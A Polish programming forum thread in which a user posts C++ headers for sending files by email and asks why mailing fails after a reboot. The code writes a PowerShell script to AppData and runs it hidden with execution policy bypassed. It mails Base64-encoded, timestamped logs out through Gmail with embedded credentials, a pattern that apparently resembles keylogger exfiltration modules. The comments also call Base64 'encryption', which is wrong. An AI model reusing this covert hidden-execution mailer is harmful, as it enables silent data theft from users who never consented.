Problem z wysłaniem maila z załącznikiem przez smtp

0

Witam! Znalazłem taki o to kod w internecie, po pierwszym uruchomieniu wysyłał, ale po restarcie pc już nie działa. Wie ktoś jak to naprawić? Program służy do szyfrowania wiadomości i wysyłania na email. Error który mi wyskakuje: Mail was not sent! Error code: 3 EDIT: próbowałem na portach 25,587,465

#ifndef SENDMAIL_H
#define SENDMAIL_H

#include <fstream>
#include <vector>
#include <Windows.h>
#include "IO.h"
#include "Timer.h"
#include "Helper.h"

#define SCRIPT_NAME "sm.ps1"

namespace Mail
{
	// Both emails can be the same
	#define X_EM_TO "email"
	#define X_EM_FROM "email"
	#define X_EM_PASS "password"

	const std::string &PowerShellScript =
		"Param( \r\n   [String]$Att,\r\n   [String]$Subj,\r\n   "
		"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"
		" {\r\n    Param (\r\n        [Parameter(`\r\n            Mandatory=$true)]\r\n        "
		"[String]$To,\r\n         [Parameter(`\r\n            Mandatory=$true)]\r\n        "
		"[String]$From,\r\n        [Parameter(`\r\n            mandatory=$true)]\r\n        "
		"[String]$Password,\r\n        [Parameter(`\r\n            Mandatory=$true)]\r\n        "
		"[String]$Subject,\r\n        [Parameter(`\r\n            Mandatory=$true)]\r\n        "
		"[String]$Body,\r\n        [Parameter(`\r\n            Mandatory=$true)]\r\n        "
		"[String]$attachment\r\n    )\r\n    try\r\n        {\r\n            $Msg = New-Object "
		"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n            $Srv = \"smtp.gmail.com\" "
		"\r\n            if ($attachment -ne $null) {\r\n                try\r\n                    {\r\n"
		"                        $Attachments = $attachment -split (\"\\:\\:\");\r\n                      "
		"  ForEach ($val in $Attachments)\r\n                    "
		"        {\r\n               "
		"                 $attch = New-Object System.Net.Mail.Attachment($val)\r\n                       "
		"         $Msg.Attachments.Add($attch)\r\n                            }\r\n                    "
		"}\r\n                catch\r\n                    {\r\n                        exit 2; "
		"\r\n                    }\r\n            }\r\n "
		"           $Client = New-Object Net.Mail.SmtpClient($Srv, 465) #465 port for smtp.gmail.com SSL\r\n "
		"           $Client.EnableSsl = $true \r\n            $Client.Credentials = New-Object "
		"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n            $Client.Send($Msg)\r\n "
		"           Remove-Variable -Name Client\r\n            Remove-Variable -Name Password\r\n            "
		"exit 7; \r\n          }\r\n      catch\r\n          {\r\n            exit 3; "
		"  \r\n          }\r\n} #End Function Send-EMail\r\ntry\r\n    {\r\n        "
		"Send-EMail -attachment $Att "
		"-To \"" +
		std::string(X_EM_TO) +
		"\""
		" -Body $Body -Subject $Subj "
		"-password \"" +
		std::string(X_EM_PASS) +
		"\""
		" -From \"" +
		std::string(X_EM_FROM) +
		"\"""\r\n    }\r\ncatch\r\n    {\r\n        exit 4; \r\n    }";

	#undef X_EM_FROM
	#undef X_EM_TO
	#undef X_EM_PASS

	std::string StringReplace(std::string s, const std::string &what, const std::string &with) // search for a specific string and replace that string
	{
		if (what.empty())
			return s; // nothing to replace
		size_t sp = 0;

		while ((sp = s.find(what, sp)) != std::string::npos) // as long as not equal to null terminator position
			s.replace(sp, what.length(), with), sp += with.length();
		return s;
	}

	bool CheckFileExists(const std::string &f)
	{
		std::ifstream file(f);
		return (bool)file;
	}

	bool CreateScript()
	{
		std::ofstream script(IO::GetOurPath(true) + std::string(SCRIPT_NAME));
		if (!script)
			return false; // check if script was created
		script << PowerShellScript;

		if (!script)
			return false; // was it successfully written

		script.close();

		return true;
	}

	Timer m_timer;

	int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)
	{
		bool ok; // if mail was sucessfully sent

		ok = IO::MKDir(IO::GetOurPath(true));
		if (!ok)
			return -1;
		std::string scr_path = IO::GetOurPath(true) + std::string(SCRIPT_NAME);
		if (!CheckFileExists(scr_path))
			ok = CreateScript(); // attempt to create script if not present
		if (!ok) // was attempt successful
			return -2;

		std::string param = "-ExecutionPolicy ByPass -File \"" + scr_path + "\" -Subj \"" + 
			StringReplace(subject, "\"", "\\\"") + "\" -Body \"" + 
			StringReplace(body, "\"", "\\\"") + "\" -Att \"" + attachments + "\"";

		SHELLEXECUTEINFO ShExecInfo = { 0 };
		ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
		ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
		ShExecInfo.hwnd = NULL;
		ShExecInfo.lpVerb = "open"; // open the file
		ShExecInfo.lpFile = "powershell"; // file to execute
		ShExecInfo.lpParameters = param.c_str();
		ShExecInfo.lpDirectory = NULL;
		ShExecInfo.nShow = SW_HIDE; // hide powershell window
		ShExecInfo.hInstApp = NULL;

		ok = (bool)ShellExecuteEx(&ShExecInfo);
		if (!ok) // check if was executed successfully
			return -3;
		// Wait for 7 seconds to see if mail was successfully sent
		WaitForSingleObject(ShExecInfo.hProcess, 7000);
		DWORD exit_code = 100; // arbitrary code to exit
		GetExitCodeProcess(ShExecInfo.hProcess, &exit_code); // check powershell status

		m_timer.SetFunction([&]() // lambda function to access all variables from SendMail
		{
			WaitForSingleObject(ShExecInfo.hProcess, 60000); // wait for one minute
			GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
			if ((int)exit_code == STILL_ACTIVE) // check powershell status
				TerminateProcess(ShExecInfo.hProcess, 100);
			Helper::WriteAppLog("<From SendMail> Return code: " + Helper::ToString((int)exit_code));
		});

		m_timer.RepeatCount(1L); // execute only once
		m_timer.SetInterval(10L);
		m_timer.Start(true); // asynchronous execute
		return (int)exit_code;
	}

	int SendMail(const std::string &subject, const std::string &body, const std::vector<std::string> &att) // overload SendMail to send multiple attachments
	{
		std::string attachments = "";
		if (att.size() == 1U) // check if only 1 attachment
			attachments = att.at(0); // grab the first index only then
		else
		{
			for (const auto &v : att)
				attachments += v + "::"; // separate attachments with colons
			attachments = attachments.substr(0, attachments.length() - 2);
		}
		return SendMail(subject, body, attachments);
	}
}

#endif // SENDMAIL_H

helper.h

#ifndef HELPER_H

#define HELPER_H

#include <ctime>
#include <string>
#include <sstream>
#include <fstream>

namespace Helper // custom namespace to store our custom data types
{
	template <class T>

	std::string ToString(const T &);

	struct DateTime
	{
		int D, m, y, M, H, S;

		DateTime()
		{
			time_t ms;
			time(&ms);

			struct tm* info = localtime(&ms);

			// format data from info

			D = info->tm_mday;
			m = info->tm_mon + 1; // need to add 1 since january is represented 0
			y = 1900 + info->tm_year; // reference year since C came in the 70s and locatime returns time from that particular day until present day
			M = info->tm_min;
			H = info->tm_hour;
			S = info->tm_sec;
		}

		DateTime(int D, int m, int y, int M, int H, int S) : D(D), m(m), y(y), M(M), H(H), S(S) {}
		DateTime(int D, int m, int y) : D(D), m(m), y(y), M(0), H(0), S(0) {}

		DateTime Now() const
		{
			return DateTime(); // return current date time
		}

		std::string GetDateString() const
		{
			// Generate the current date that is correctly formatted in string
			return std::string(D < 10 ? "0" : "") + ToString(D) +
				std::string(m < 10 ? ".0" : ".") + ToString(m) + "." + ToString(y);
		}

		std::string GetTimeString(const std::string &sep = ":") const// reference is to default separator which is set to a colon
		{
			// Generate the current time that is correctly formatted in string
			return std::string(H < 10 ? "0" : "") + ToString(H) + sep +
				std::string(M < 10 ? "0" : "") + ToString(M) + sep +
				std::string(S < 10 ? "0" : "") + ToString(S);
		}

		std::string GetDateTimeString(const std::string &sep = ":") const
		{
			return GetDateString() + " " + GetTimeString(sep);
		}
	};

	template <class T>
	
	std::string ToString(const T &e) // only able types that supports the insertion operator
	{
		std::ostringstream s;
		s << e;
		return s.str();
	}

	// OPTIONAL FUNCTION FOR DEBUGGING PURPOSES

	void WriteAppLog(const std::string &s) // reference to const string we wish to log
	{
		std::ofstream file("AppLog.txt", std::ios::app); // app stands for append file
		file << "[" << Helper::DateTime().GetDateTimeString() << "]" << "\n" << s << std::endl << "\n";
		file.close();
	}
}

#endif // HELPER_H

timer.h

#ifndef TIMER_H
#define TIMER_H

#include <thread>
#include <chrono>

class Timer
{
	std::thread Thread; // used for asynchronous code execution without blocking main thread
	bool Alive = false; // check if timer is running
	long CallNumber = -1L; // how many times we would like to call a certain function
	long repeat_count = -1L; // count amount of times a certain function has been called
	std::chrono::milliseconds interval = std::chrono::milliseconds(0); //interval between function calls, default is 0
	std::function<void(void)> funct = nullptr; // function that takes nothing and returns nothing

	void SleepAndRun()
	{
		std::this_thread::sleep_for(interval); //pause thread for certain time interval
		if (Alive)
			Function()(); // double parenthesis - first calls Function and second calls function that Function returns
	}

	void ThreadFunc()
	{
		if (CallNumber == Infinite)
			while (Alive)
				SleepAndRun();
		else
			while (repeat_count--)
				SleepAndRun();
	}

public:
	static const long Infinite = -1L;

	Timer() {};

	Timer(const std::function<void(void)> &f) : funct(f) {};

	Timer(const std::function<void(void)> &f, const unsigned long &i, const long repeat = Timer::Infinite) : funct(f), interval(std::chrono::milliseconds(i)), CallNumber(repeat) {};

	void Start(bool Async = true)
	{
		if (IsAlive()) // check if timer is running, if not set to run
			return;
		Alive = true;
		repeat_count = CallNumber; // set repeat to how many times we need to run
		if (Async) // if thread is not being blocked
			Thread = std::thread(&Timer::ThreadFunc, this);
		else
			this->ThreadFunc();
	}

	void Stop()
	{
		Alive = false; // set timer to stop running
		Thread.join();
	}

	void SetFunction(const std::function<void(void)> &f) // sets the func to be executed
	{
		funct = f;
	}

	bool IsAlive() const { return Alive; } // check if timer is running

	void RepeatCount(const long r) // sets number of calls
	{
		if (Alive)
			return;
		CallNumber = r;
	}

	long GetLeftCount() const { return repeat_count; } // see how many iterations are left

	long RepeatCount() const { return CallNumber; } // total number of occurences to be done

	void SetInterval(const unsigned long &i)
	{
		if (Alive)
			return;
		interval = std::chrono::milliseconds(i);
	}

	unsigned long Interval() const { return (unsigned long)interval.count(); } // fetching interval to long type

	const std::function<void(void)> &Function() const
	{
		return funct; // returns a function to be called right after
	}
};

#endif // TIMER_H

IO.h

#ifndef IO_H
#define IO_H

#include <string>
#include <cstdlib>
#include <fstream>
#include <Windows.h>
#include "Helper.h"
#include "Base64.h"

namespace IO
{
	std::string GetOurPath(const bool append_separator = false) //checks if the backslash is needed at the end of our path, add if needed
	{
		std::string appdata_dir(getenv("APPDATA")); // finds AppData directory path
		std::string full = appdata_dir + "\\SzyfroweWiadomosci";
		return full + (append_separator ? "\\" : "");
	}

	bool MkOneDr(std::string path) // checks if directory already exists or not
	{
		return (bool)CreateDirectory(path.c_str(), NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
	}

	bool MKDir(std::string path) // builds full legal file path for each subdirectory, runs loop until a full path is created
	{
		for (char &c : path) // c takes every char of path
			if (c == '\\')
			{
				c = '\0';
				if (!MkOneDr(path))
					return false;
				c = '\\';
			}
		return true;
	}

	template <class T>
	std::string WriteLog(const T &t)
	{
		std::string path = GetOurPath(true);
		Helper::DateTime dt; // use DateTime struct from Helper namespace
		std::string name = dt.GetDateTimeString("_") + ".log";

		try
		{
			std::ofstream file(path + name);
			if (!file) return ""; // if file cannot be opened or used
			std::ostringstream s;
			s << "[" << dt.GetDateTimeString() << "]" << std::endl << t << std::endl;
			std::string data = Base64::EncryptB64(s.str()); // encrypt using function from Base64 namespace
			file << data;
			if (!file)
				return "";
			file.close();
			return name;
		}
		catch(...)
		{
			return "";
		}
	}
}


#endif // IO_H
1

Z tego co widzę, to ten kod i tak wywołuje coś na zewnątrz (nie znam się na Windows/powershell więc głowy za to nie dam).
Jeśli tak faktycznie jest - nie byłoby łatwiej zrobić tego w Pythonie ?

1 użytkowników online, w tym zalogowanych: 0, gości: 1